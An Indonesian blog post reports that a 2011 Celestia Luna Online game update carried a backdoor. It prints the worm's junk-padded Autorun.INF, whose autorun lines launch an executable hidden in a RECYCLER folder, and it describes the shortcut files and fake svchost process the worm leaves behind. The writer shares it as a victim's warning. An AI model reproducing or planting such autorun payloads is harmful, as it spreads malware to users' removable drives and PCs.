Celestia Luna Online yang merupakan game online dengan karakter imut menyimpan suatu petaka dalam update terakhirnya (Februari 2011). File yang bernama LUNACilentmgr.exe, dari Whole Tomato Soft. Inc. terinfeksi Backdoor.Win32.IRCNite.cby yang dideteksi Kaspersky.
File LUNAClientmgr.exe
Kaspersky Mendeteksi Backdoor
Varian ini tidak menginfeksi File ataupun menghidden file manapun, hanya membuat Autorun.INF dengan script seperti dibawah ini :
[Mulai]
RmNYEcoIsnhTQuWflyQBnqgfNhniJHhqYArJPCXgwiBkMKeWvhehQUSxpuQhSJQuUDqhRFhTWIkeO
RfpSQBwSMemvRyyiTQiNWrWtiDxHYceorGyIMrxkRPjNKEEHhkIwQKrSlWBJcmgQlIyesspuHalqtl
SAawoCjjjpJXCFDOYUhCDTKCLRuiknbKQWrxMbepsTrnhedMWPvDhdHOXusJRZfhyldSxYqWcEoap
kKGUANnAcXJoJZmRyuKhSyBfjDyMVVnDweWfcVALuVjQNneiiHNPNGBhRyeAcyZLKeNwyEtVEHYxcMOu
wpjUWfmKLYFEajjvhvJbhAOAnQXmOWkuMvEYHtxUauXqvZPtLmheFbCvEEXKY
ZnhfrKKcOAvrrMxSUUolXGVvZPhIEmutFgADbGlUVBwlFknjIoVkxPgSuQtpMKVxaMnfXbbejabVNisZkjAAiNXYYE
QvSMbmBPKeVfnPOUgQjAlPiBINKgbRcSDmdNCaeaTFvbKWTLDxPXrCferNridwIJeoZnya
SQWMYkxQlnbkCBXDCentsXYmKXcqARWBRxgGXRkLOPjdkPeSANNkiOEjqMMPNSyEIZUlqIHQvT
AwOtggIWThcmsSywHWeOjdAOBOqqamfLERPWjrRNHctqDyHIteMXKluvuKZaYvbm
bTqLKinuiewOsCUXIRDVHYgrYhrwVWZMRMgfGVPHtJesgTDmqhoaBVsbLrNtBSoEjLGgVTpstKcnoQjhywfbAtuHlYuaAdy
pausnqlbMUxfmagfYVrbRRRYjIxlMTUYSftTRkvSwuCUgvcPbWWBCQrTn
gDnXZNTXsQQdDZDcQbGSaQhcDfLLysPEqSocCNomOIvfIFHbpbKbyRqwdjtAPfGTGTr
uiLciiBFaguPBwSEsOJfkFrLPUCPtVJUbePyvZndHWvDbxOoSYksxswnKpvCksFFr
sdUJUZEKuVUKDNsaBXLWpoaqeZiigAVEgFRgYnWmdFMWfPEfyubQxluDasTDtlghVVvqHGRnnVfmssEAHDxh
vcUiQYVAYtcFQBrTLcuJHwWJRaZafVKnLmCrgRgYeBlPifCpIwZmYpvAZWsSt
WtaNaRBVfDLpMPAZZUGwyLFEiAMhfXpkgeGLOFdyVEpRXpbOJCUpREHMfa
ShAGvEveFIKFrPFOPPmVAluosBowumNbHpPSvEGWHDWjUNmcJVFxsrBNBKiCbTelYjuwWhlStNAaltSfqVuS
cYYgDWHPqLxDSCiLgJVQLkJpbccJtBnPbedyVCAchsxoCYpVlRNAXluj
umTaPNxryrlkDTvTOsgkpmckyqicWaloKUAaKLsYTbuHpGyHSIpmwpVUNJYcbjjln
nTiPJBAQLfPrWWObaoCpYrhWlHakYomgDYIrvOBkQrXOYBWrXXeVXcNjnOJXrjcFjhxvKLYqjYWeowSVycClmOUiY
GyGlDBZoyBRBFHEOsJakGfWVqMslHlbMqftovaZcYfngplQIAZqOXxPrQovyi
iMfBwedokjIukOEDFdEYQnUTDTofUSaKKTZHIXAkJiULWLpVYFFxsfEcSDagSHCBpHIuwOWGRUq
vQLPvVevyGtxedZZXUGuHaorEpJfefjspJxrbPGZERrNpXUteoUZkhubDTYTfUgAFEKwhmPDsohnXbNt
VrFueAmHyeOgmBuHnZOSTBIBODmsqPFnbHYdorVGVBNQBoCQPORbODCQ
jMpmFvaYBehLiFwbjpesNsWHJSCyIcDpMgnltwqAbQvyZKWdRZRwyhncfKL
huZncdnIQrdCjPsSppkXhtwodYLoBfNMeEQGZVHSMKWakJCrkNDDQpGtjQXhUfatgxkeNFuFrkKtgtRL
aTvgmXwaOqLeLRPeMBYXwsGGCQGCLxKsCrZaWvAlNWIUBLxBtySaoXCEEmfljkrauRl
hyCVbMWRkMXBTUjwaluVrVKLYgQlEVIdytXTUIOaKvJegXiMWAwSgSBQWq
sSGWOcMZdILPCgLVSbPHEycVGMsXVLPepuXLlCDxYymsuZRUUVMxhusIvAfCV
SnlDLNNmmnNRcqcCIqxZPKiZguQmACJCMKrdlcrJhbBkEevQLyLWJIMnQtmoaGamWngDnVpFCDrNfMTkiWPAdFOuRXRE
diJjDiYRMjbSWgGfuiPJXonEcFKKYrVubXJJCiswaKbaLqTuWQcNcsUlLeWcnqaOREkKbUC
urkffZowxXcRotvriTDnTPQNPDijogGwcxKfSYFdceijlSFVPNsfHspilqTkPuRAieAIPEwfIWTmsxVDBXmGoZvtQMNBom
OFPuowMOllnlXiyIDmFaNWmubHEpiEJMdFurwPMdBjrpMSWgnAoTkUTxoYyHCR
ANADwqJvmVbIBDtgQAYkMfEwcDaZCifVGaKaaVawfKHpAGUUuYHFjWcqaiTqZhMmWceqhlyTxENWSm
NSZTnsOMNTJfeeyGjhRgAreoBpwZPMMANaksUxSMlOPyKyRuGXYBgAWtRjquFRkWWtxjmXhYaRxoVKKbMgrd
dglpXngntnLgHdEljaqlnJbEPBQBxtHPAPkOYqVGbBVkrKtKCqKAsKKLJTBYIcHUAuIMZIt
csnWtsllFoKtgMwtKMrvLlUHUaZtfbetMJcTYlwTHoAqrAfqnjBZqHunXTITlBwAUKNpKjj
PbErGsBocNTbgUXYwlKtKsbLQLVOLTthupGwFvFvBauvNDpXosrmEDigbfpqkNfHpIaBkKxclmaJLEv
PMSqDgtlCFRUCeIccNHJsgLCqalaJwvAZUhMDuhSWZCtJODUKrjRYXqqMoFnLlcY
vCcIfGIFHkIDfYTnIxbbGcKlflRZDCTVTUOIPTvPbRcNMloemkvECF
MbQEyxyEfxCROnFZSkjgRtZGFLMvxLWaUgbmnjYxZEUSFKssUNFGGpPNFFxZQnLiVjZsGvgOooMWNppRO
MLOwPCvoYDJyKEBNtsClbcFWWMBQPACNXWNFqehkowrXZHkrkCUBuDPQNHMXIOfMoeeDvAhqxUUQphslNaYuIRVKchRkFcwEei
rvYYwCCLboyuNlGaOPZXvNhAYVMeJZJgTwaopdQUIPwKqbnxdOYDuiAFcEBxjTjkQKU
maGnrvXUULWimaZMWHNlgeQiOmeQdNSdJebhYEMRSRJiGrcdntStKIOppd
NixvEHSaZgSsXlOAVubBZkswvSCxaJVUBjMuTXaGqqgrsjGvDnNFjrrPQbdtbNmfcC
TiQFvVVbYnjaWtNlEoTBSOrxiTVVycEcSPmLBXjgtKpgOUEBrnxXjGbWGPHdrXxXnuBLjCMtdCZjscU
scUanEEbRKciQYlDlZSvldWgRPIJLcfNAwRumUviYgDbfVFfZmHuhhnmLWdbbAFqUjeqxSqiOMJbtBVDcFRuhcoNUvh
WvDOBmdILvlxUgKrNYSKRyqrxGvUbAPjEQupOZInSTcOoDLDRNXdbFSYNXYeiDFtjUAINOCYdGjZEsSmMYFltaC
xZqMCbRbIHFBpDXNTiEYQQyIrMQfOTQXrCapdRwrMXMnWqLrsEUXbBeZqlbGiPyGHyFqMU
ReTCnioaWfflqcJAqCcYYbWcweZCcDafMYMcKbZCocuZGIcfbMYvmORXViwUthmRmqFY
lWJLeArPUhrxTKqTaGfuBgiKDiQiWmmlskPxJBYMENmrGfWBrnwbGdsPhDfuVMnmX
ohHtNXQxkSjesUtJQasfRYkuOumiSmpMeNccBWWcowVyDtSnIfndCZxkNhGPXS
SKXOdrFHfJgqcDEehJLbGtOiKOgEJONdrGeHYFHNaFjYAhOksTRfdQxAAOfKpBXtKwmgCFeYHbMl
oRdmWwBkZVUAUWCOvElPtjLgAHPKLbusPPUIhuSppVtHGKNmTK
yIeTBDDmwPBRsrWKRgXDEkXHDDBKHqieRdHoUEmWQwiSZXLOtnFXACgndmyBkhGEfYqZOvCqfEpfZdhLMQfNXTSxYsJQNFvO
jkZtVMwGIUwAYBAlCpqDaLxiZoHmSMhxnEarfmickPhjgPlZawtd
OBpbxPPrtsGnRqZhWGaeUvHNaYenCCxoKqDVvIKFwITlLIqeDEO
bWlYXMbBAQiBEkfGhejpdVOSTEqbpbPARdgkAmXlcYCqZWWrDkhvcyNOAReFhP
senKcxRAkdFOOVfXCSWaISXtcKrLBBVqBWAQbccdUeCABsPrPNMFXAVomUjdqHR
BiFgdmWjkvhpAywimLSXoOseqvxaCbqjMrmtPsvHfKJehgmQypsNbXbOafVdsNWBSvjYoBcYWTmNonuGKDbR
OnfyXxfvTxMphHbKGSBbAcWnrhoVdHEksaGIBPLxBjMjyRvPCX
GcuVACeacdVObdohLJXUJfZbeHtNvOyiOmINFpowqucafskjTOOwBNVfThFdWLaa
tisdbbNkSgiFGPnVftGebcjMPtLEbyrTpFIJVRwnXJlsbxeyGagW
cppGseqbuLuJOKpboiTeNSQhNRlVafrmubIgMcONFJdlqBQkGnQhcQAstohXOxylNoSSrXRPspwxOHRiQaZafiswOJJmU
BLJXxbnvtxGjwTcFJAsaIuHtmLmMboXareaOknnEHHAWmUoPNwLFyZuJwInrVoKpQueWRBXoYYJupRWVpXnXmLDkUFO
sPpqMbZEIusQSbNSSUgwDyxhSGpfvfFTkAALPInsNselcAHqjpEYg
aJAxgjSrPBmlTFoRokQiqdETLTfvfQpTbdAMIfbtnidCvBDsyQjGSByUobTQZIYxFQFZsQrU
eLlWHgZhumdbRiWeVlpdjQBMGgSkBiXuUGZEQYWiUvgTuSkOTUSwtbIXGeQZtDYtWiHvpnV
ovTviaZLJATIMsHZlkicnhwxWsFgtDLpqrcgieMUgSJNjfDGCLidudANjCZGCGOjVWTlXroVIXSRIPNFUGgPIH
QMUyXkVAiOUTrJgrenTccWdumSFxJpboOGZDtyQtNoMyVqWwTcAFqgoJLFABsb
yOMqTbVIltbJZJSkTTDpfivSUFxwTQxUqcGZUZvPjNPdiGWeEPcfQTFUHAdObS
wUtOCFRJgZOeioAvXvXLGxtJiysbsAghJWxbSfaOcaGAmDIdEpYJkydvIfefEfgdf
PSqiAZHPvoSHsGurdVHTMTpBcTmixhDEORvGZZWkCoGGmmxpBapdUjKUNLBunoqsSjrsngpiIIUimTfkeEOgsdwwuUcTkN
HhMSikvhHGfaoRhdbqASRCApPpWnMbZUCFhLlsShNGTmyIaToMwVDESrOkpf
WuGPpNcRDnRmXnJdOOGjSmaOwZaMbILcQhuwnAkihUbbvaxWctecZdZeLaZiGmDroPjELbVmwWeuSdNbQKGySWhabgvlxNGylcq
UGZNjsDikxgrofdwYVBdMEXFoAVKYZwKJhkystkBuMabypBcrZKgCNVmixNTHAMrXcKtmEgwrquEjmiOxMDHnwnDblx
XmUHaxKMjYdTHOsKXbuvglQAlOEpAQEVkNRITWMNbdgexIEwWVfNkhkrdQiVHlGZuKNXfcDwY
GMYpWFtVEUOeqdhaGwHqxtpHABHcpXhWJXyhNaxvfTpVXUcirlPGjVSCMxYj
JwpPCpAqyiDFmTMPgrvPcNNqOokuGlfYYOJQCqjgsGOZtaTLdnfvMrMYwbUXGTMSrqIPyJURRpZD
QhimUeVapWAZuVchflgrantCsTcQrPkarwBqhgXGTmfQHsSIPxyfQcfaspuYgjsdpr
cTalufumrnTdrVAAQICkYrpbdkVgEtKaQukVTpbfstQKBVrnUYcSmuMvAfoAXwDwVFxBLfaVYvevMkAXVDThitVe
BHwQMIFeQwcXjHOioIxsqtnpSXyNvjVENeycphGCeXCFJWTSOcygOppDWXTKs
PqCTiJGEYxKteFmrADLTjXMgSApkwIXKWLGTMdyWBQchdlJvfRiiFNFsdsewrPtFAg
[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=\RECYCLER\S-4-7-50-2154561777-7447612457-776042436-8812\qEaHRRNI.exe
shell\explore\command=\RECYCLER\S-4-7-50-2154561777-7447612457-776042436-8812\qEaHRRNI.exe
USEAUTOPLAY=1
shell\Open\command=\RECYCLER\S-4-7-50-2154561777-7447612457-776042436-8812\qEaHRRNI.exe
YEcoIsnhTQuWflyQBnqgfNhniJHhqYArJPCXgwiBkMKeWvhehQUSxpuQhSJQuUDqhRFhTWIkeO
RfpSQBwSMemvRyyiTQiNWrWtiDxHYceorGyIMrxkRPjNKEEHhkIwQKrSlWBJcmgQlIyesspuHalqtl
SAawoCjjjpJXCFDOYUhCDTKCLRuiknbKQWrxMbepsTrnhedMWPvDhdHOXusJRZfhyldSxYqWcEoap
kKGUANnAcXJoJZmRyuKhSyBfjDyMVVnDweWfcVALuVjQNneiiHNPNGBhRyeAcyZLKeNwyEtVEHYxcMOu
wpjUWfmKLYFEajjvhvJbhAOAnQXmOWkuMvEYHtxUauXqvZPtLmheFbCvEEXKY
ZnhfrKKcOAvrrMxSUUolXGVvZPhIEmutFgADbGlUVBwlFknjIoVkxPgSuQtpMKVxaMnfXbbejabVNisZkjAAiNXYYE
QvSMbmBPKeVfnPOUgQjAlPiBINKgbRcSDmdNCaeaTFvbKWTLDxPXrCferNridwIJeoZnya
SQWMYkxQlnbkCBXDCentsXYmKXcqARWBRxgGXRkLOPjdkPeSANNkiOEjqMMPNSyEIZUlqIHQvT
AwOtggIWThcmsSywHWeOjdAOBOqqamfLERPWjrRNHctqDyHIteMXKluvuKZaYvbm
bTqLKinuiewOsCUXIRDVHYgrYhrwVWZMRMgfGVPHtJesgTDmqhoaBVsbLrNtBSoEjLGgVTpstKcnoQjhywfbAtuHlYuaAdy
pausnqlbMUxfmagfYVrbRRRYjIxlMTUYSftTRkvSwuCUgvcPbWWBCQrTn
gDnXZNTXsQQdDZDcQbGSaQhcDfLLysPEqSocCNomOIvfIFHbpbKbyRqwdjtAPfGTGTr
uiLciiBFaguPBwSEsOJfkFrLPUCPtVJUbePyvZndHWvDbxOoSYksxswnKpvCksFFr
sdUJUZEKuVUKDNsaBXLWpoaqeZiigAVEgFRgYnWmdFMWfPEfyubQxluDasTDtlghVVvqHGRnnVfmssEAHDxh
vcUiQYVAYtcFQBrTLcuJHwWJRaZafVKnLmCrgRgYeBlPifCpIwZmYpvAZWsSt
WtaNaRBVfDLpMPAZZUGwyLFEiAMhfXpkgeGLOFdyVEpRXpbOJCUpREHMfa
ShAGvEveFIKFrPFOPPmVAluosBowumNbHpPSvEGWHDWjUNmcJVFxsrBNBKiCbTelYjuwWhlStNAaltSfqVuS
cYYgDWHPqLxDSCiLgJVQLkJpbccJtBnPbedyVCAchsxoCYpVlRNAXluj
umTaPNxryrlkDTvTOsgkpmckyqicWaloKUAaKLsYTbuHpGyHSIpmwpVUNJYcbjjln
nTiPJBAQLfPrWWObaoCpYrhWlHakYomgDYIrvOBkQrXOYBWrXXeVXcNjnOJXrjcFjhxvKLYqjYWeowSVycClmOUiY
GyGlDBZoyBRBFHEOsJakGfWVqMslHlbMqftovaZcYfngplQIAZqOXxPrQovyi
iMfBwedokjIukOEDFdEYQnUTDTofUSaKKTZHIXAkJiULWLpVYFFxsfEcSDagSHCBpHIuwOWGRUq
vQLPvVevyGtxedZZXUGuHaorEpJfefjspJxrbPGZERrNpXUteoUZkhubDTYTfUgAFEKwhmPDsohnXbNt
VrFueAmHyeOgmBuHnZOSTBIBODmsqPFnbHYdorVGVBNQBoCQPORbODCQ
jMpmFvaYBehLiFwbjpesNsWHJSCyIcDpMgnltwqAbQvyZKWdRZRwyhncfKL
huZncdnIQrdCjPsSppkXhtwodYLoBfNMeEQGZVHSMKWakJCrkNDDQpGtjQXhUfatgxkeNFuFrkKtgtRL
aTvgmXwaOqLeLRPeMBYXwsGGCQGCLxKsCrZaWvAlNWIUBLxBtySaoXCEEmfljkrauRl
hyCVbMWRkMXBTUjwaluVrVKLYgQlEVIdytXTUIOaKvJegXiMWAwSgSBQWq
sSGWOcMZdILPCgLVSbPHEycVGMsXVLPepuXLlCDxYymsuZRUUVMxhusIvAfCV
SnlDLNNmmnNRcqcCIqxZPKiZguQmACJCMKrdlcrJhbBkEevQLyLWJIMnQtmoaGamWngDnVpFCDrNfMTkiWPAdFOuRXRE
diJjDiYRMjbSWgGfuiPJXonEcFKKYrVubXJJCiswaKbaLqTuWQcNcsUlLeWcnqaOREkKbUC
urkffZowxXcRotvriTDnTPQNPDijogGwcxKfSYFdceijlSFVPNsfHspilqTkPuRAieAIPEwfIWTmsxVDBXmGoZvtQMNBom
OFPuowMOllnlXiyIDmFaNWmubHEpiEJMdFurwPMdBjrpMSWgnAoTkUTxoYyHCR
ANADwqJvmVbIBDtgQAYkMfEwcDaZCifVGaKaaVawfKHpAGUUuYHFjWcqaiTqZhMmWceqhlyTxENWSm
NSZTnsOMNTJfeeyGjhRgAreoBpwZPMMANaksUxSMlOPyKyRuGXYBgAWtRjquFRkWWtxjmXhYaRxoVKKbMgrd
dglpXngntnLgHdEljaqlnJbEPBQBxtHPAPkOYqVGbBVkrKtKCqKAsKKLJTBYIcHUAuIMZIt
csnWtsllFoKtgMwtKMrvLlUHUaZtfbetMJcTYlwTHoAqrAfqnjBZqHunXTITlBwAUKNpKjj
PbErGsBocNTbgUXYwlKtKsbLQLVOLTthupGwFvFvBauvNDpXosrmEDigbfpqkNfHpIaBkKxclmaJLEv
PMSqDgtlCFRUCeIccNHJsgLCqalaJwvAZUhMDuhSWZCtJODUKrjRYXqqMoFnLlcY
vCcIfGIFHkIDfYTnIxbbGcKlflRZDCTVTUOIPTvPbRcNMloemkvECF
MbQEyxyEfxCROnFZSkjgRtZGFLMvxLWaUgbmnjYxZEUSFKssUNFGGpPNFFxZQnLiVjZsGvgOooMWNppRO
MLOwPCvoYDJyKEBNtsClbcFWWMBQPACNXWNFqehkowrXZHkrkCUBuDPQNHMXIOfMoeeDvAhqxUUQphslNaYuIRVKchRkFcwEei
rvYYwCCLboyuNlGaOPZXvNhAYVMeJZJgTwaopdQUIPwKqbnxdOYDuiAFcEBxjTjkQKU
maGnrvXUULWimaZMWHNlgeQiOmeQdNSdJebhYEMRSRJiGrcdntStKIOppd
NixvEHSaZgSsXlOAVubBZkswvSCxaJVUBjMuTXaGqqgrsjGvDnNFjrrPQbdtbNmfcC
TiQFvVVbYnjaWtNlEoTBSOrxiTVVycEcSPmLBXjgtKpgOUEBrnxXjGbWGPHdrXxXnuBLjCMtdCZjscU
scUanEEbRKciQYlDlZSvldWgRPIJLcfNAwRumUviYgDbfVFfZmHuhhnmLWdbbAFqUjeqxSqiOMJbtBVDcFRuhcoNUvh
WvDOBmdILvlxUgKrNYSKRyqrxGvUbAPjEQupOZInSTcOoDLDRNXdbFSYNXYeiDFtjUAINOCYdGjZEsSmMYFltaC
xZqMCbRbIHFBpDXNTiEYQQyIrMQfOTQXrCapdRwrMXMnWqLrsEUXbBeZqlbGiPyGHyFqMU
ReTCnioaWfflqcJAqCcYYbWcweZCcDafMYMcKbZCocuZGIcfbMYvmORXViwUthmRmqFY
lWJLeArPUhrxTKqTaGfuBgiKDiQiWmmlskPxJBYMENmrGfWBrnwbGdsPhDfuVMnmX
ohHtNXQxkSjesUtJQasfRYkuOumiSmpMeNccBWWcowVyDtSnIfndCZxkNhGPXS
SKXOdrFHfJgqcDEehJLbGtOiKOgEJONdrGeHYFHNaFjYAhOksTRfdQxAAOfKpBXtKwmgCFeYHbMl
oRdmWwBkZVUAUWCOvElPtjLgAHPKLbusPPUIhuSppVtHGKNmTK
yIeTBDDmwPBRsrWKRgXDEkXHDDBKHqieRdHoUEmWQwiSZXLOtnFXACgndmyBkhGEfYqZOvCqfEpfZdhLMQfNXTSxYsJQNFvO
jkZtVMwGIUwAYBAlCpqDaLxiZoHmSMhxnEarfmickPhjgPlZawtd
OBpbxPPrtsGnRqZhWGaeUvHNaYenCCxoKqDVvIKFwITlLIqeDEO
bWlYXMbBAQiBEkfGhejpdVOSTEqbpbPARdgkAmXlcYCqZWWrDkhvcyNOAReFhP
senKcxRAkdFOOVfXCSWaISXtcKrLBBVqBWAQbccdUeCABsPrPNMFXAVomUjdqHR
BiFgdmWjkvhpAywimLSXoOseqvxaCbqjMrmtPsvHfKJehgmQypsNbXbOafVdsNWBSvjYoBcYWTmNonuGKDbR
OnfyXxfvTxMphHbKGSBbAcWnrhoVdHEksaGIBPLxBjMjyRvPCX
GcuVACeacdVObdohLJXUJfZbeHtNvOyiOmINFpowqucafskjTOOwBNVfThFdWLaa
tisdbbNkSgiFGPnVftGebcjMPtLEbyrTpFIJVRwnXJlsbxeyGagW
cppGseqbuLuJOKpboiTeNSQhNRlVafrmubIgMcONFJdlqBQkGnQhcQAstohXOxylNoSSrXRPspwxOHRiQaZafiswOJJmU
BLJXxbnvtxGjwTcFJAsaIuHtmLmMboXareaOknnEHHAWmUoPNwLFyZuJwInrVoKpQueWRBXoYYJupRWVpXnXmLDkUFO
sPpqMbZEIusQSbNSSUgwDyxhSGpfvfFTkAALPInsNselcAHqjpEYg
aJAxgjSrPBmlTFoRokQiqdETLTfvfQpTbdAMIfbtnidCvBDsyQjGSByUobTQZIYxFQFZsQrU
eLlWHgZhumdbRiWeVlpdjQBMGgSkBiXuUGZEQYWiUvgTuSkOTUSwtbIXGeQZtDYtWiHvpnV
ovTviaZLJATIMsHZlkicnhwxWsFgtDLpqrcgieMUgSJNjfDGCLidudANjCZGCGOjVWTlXroVIXSRIPNFUGgPIH
QMUyXkVAiOUTrJgrenTccWdumSFxJpboOGZDtyQtNoMyVqWwTcAFqgoJLFABsb
yOMqTbVIltbJZJSkTTDpfivSUFxwTQxUqcGZUZvPjNPdiGWeEPcfQTFUHAdObS
wUtOCFRJgZOeioAvXvXLGxtJiysbsAghJWxbSfaOcaGAmDIdEpYJkydvIfefEfgdf
PSqiAZHPvoSHsGurdVHTMTpBcTmixhDEORvGZZWkCoGGmmxpBapdUjKUNLBunoqsSjrsngpiIIUimTfkeEOgsdwwuUcTkN
HhMSikvhHGfaoRhdbqASRCApPpWnMbZUCFhLlsShNGTmyIaToMwVDESrOkpf
WuGPpNcRDnRmXnJdOOGjSmaOwZaMbILcQhuwnAkihUbbvaxWctecZdZeLaZiGmDroPjELbVmwWeuSdNbQKGySWhabgvlxNGylcq
UGZNjsDikxgrofdwYVBdMEXFoAVKYZwKJhkystkBuMabypBcrZKgCNVmixNTHAMrXcKtmEgwrquEjmiOxMDHnwnDblx
XmUHaxKMjYdTHOsKXbuvglQAlOEpAQEVkNRITWMNbdgexIEwWVfNkhkrdQiVHlGZuKNXfcDwY
GMYpWFtVEUOeqdhaGwHqxtpHABHcpXhWJXyhNaxvfTpVXUcirlPGjVSCMxYj
JwpPCpAqyiDFmTMPgrvPcNNqOokuGlfYYOJQCqjgsGOZtaTLdnfvMrMYwbUXGTMSrqIPyJURRpZD
QhimUeVapWAZuVchflgrantCsTcQrPkarwBqhgXGTmfQHsSIPxyfQcfaspuYgjsdpr
cTalufumrnTdrVAAQICkYrpbdkVgEtKaQukVTpbfstQKBVrnUYcSmuMvAfoAXwDwVFxBLfaVYvevMkAXVDThitVe
BHwQMIFeQwcXjHOioIxsqtnpSXyNvjVENeycphGCeXCFJWTSOcygOppDWXTKs
PqCTiJGEYxKteFmrADLTjXMgSApkwIXKWLGTMdyWBQchdlJvfRiiFNFsdsewrPtFAg
[Akhir]
Dan Juga, Varian ini akan membuat Folder Recycler yang akan diisi dengan file *.exe dan *.CPL (Control Panel) serta File Shortcut (*.LNK). Cukup mengerikan memang, apalagi SMADAV 8.4 (2011) ga ngedeteksi nya sedikitpun. Untuk Prosesnya sendiri dia akan membuat duplikasi SVCHOST.exe dengan root WATERMARK.exe seperti Screen Shot dibawah ini :
Proses Watermark.exe dan detailnya
Proses svchost.exe dari watermark dan detailnya
Dan Hasil dari Proses tadi adalah shortcut yang ada disetia Flashdisk yang nyolok d PC itu + Recycler di setiap drive (sep dah). ini SS dari Virusna, saya terinfeksi sampai berkali T.T gara2 maen LUNA T.T
Hasil Virus yang ada d Flashdisk
Sampai saat ini, saya tidak menggunakan Anvir apapun untuk menghancurkan Virus ini, karena PC saya terlindungi Deep Freeze <Anvir Keren tanpa Database> ^.^. jadi hanya instal ulang Luna, pas update ada file itu lagi ya tinggal restart PC pas mau nyolok Flash Disk ^.^, tapi kayaknya sih Kaspersky bsa deh ngapus itu Virus. ^.^
Postingan
